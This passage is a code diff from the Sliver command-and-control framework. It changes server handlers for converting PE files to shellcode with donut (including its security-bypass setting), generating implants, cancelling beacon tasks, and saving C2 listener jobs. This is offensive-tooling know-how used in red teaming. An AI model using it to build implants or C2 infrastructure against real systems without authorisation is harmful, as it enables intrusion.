// in the task runner, and we're doing some housekeeping on it.
@@ -51,8 +47,8 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
Parameters: params,
Class: className,
Method: method,
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Bypass: 3, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Arch: donutArch,
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
+2 -4
View File
@@ -109,10 +109,8 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
return nil, ErrInvalidBeaconTaskID
}
if task.State == models.PENDING {
err = db.Session().Model(&models.BeaconTask{}).
Where("id=?", task.ID).
Updates(map[string]interface{}{"state": models.CANCELED}).
Error
task.State = models.CANCELED
err = db.Session().Save(task).Error
if err != nil {
beaconRpcLog.Errorf("Database error: %s", err)
return nil, ErrDatabaseFailure
-8
View File
@@ -91,10 +91,6 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
}
if len(config.Exports) == 0 {
config.Exports = []string{"StartW"}
}
// generate config
build, err := generate.GenerateConfig(name, config)
if err != nil {
@@ -709,10 +705,6 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
return nil, err
}
if len(profile.Config.Exports) == 0 {
profile.Config.Exports = []string{"StartW"}
}
// generate config
build, err := generate.GenerateConfig(name, profile.Config)
if err != nil {
+5 -5
View File
@@ -129,7 +129,7 @@ func (rpc *Server) StartMTLSListener(ctx context.Context, req *clientpb.MTLSList
Type: constants.MtlsStr,
MTLSConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -180,7 +180,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
Type: constants.WGStr,
WGConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -205,7 +205,7 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
Type: constants.DnsStr,
DNSConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -237,7 +237,7 @@ func (rpc *Server) StartHTTPSListener(ctx context.Context, req *clientpb.HTTPLis
Type: constants.HttpsStr,
HTTPConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -269,7 +269,7 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
Type: constants.HttpStr,
HTTPConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
-13
View File
@@ -22,10 +22,8 @@ import (
"context"
"net"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/db"
)
// StartTCPStagerListener starts a TCP stager listener
@@ -38,17 +36,6 @@ func (rpc *Server) StartTCPStagerListener(ctx context.Context, req *clientpb.Sta
if err != nil {
return nil, err
}
listenerJob := &clientpb.ListenerJob{
JobID: uint32(job.ID),
Type: constants.StageListenerStr,
TCPConf: req,
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
return &clientpb.StagerListener{JobID: uint32(job.ID)}, nil
}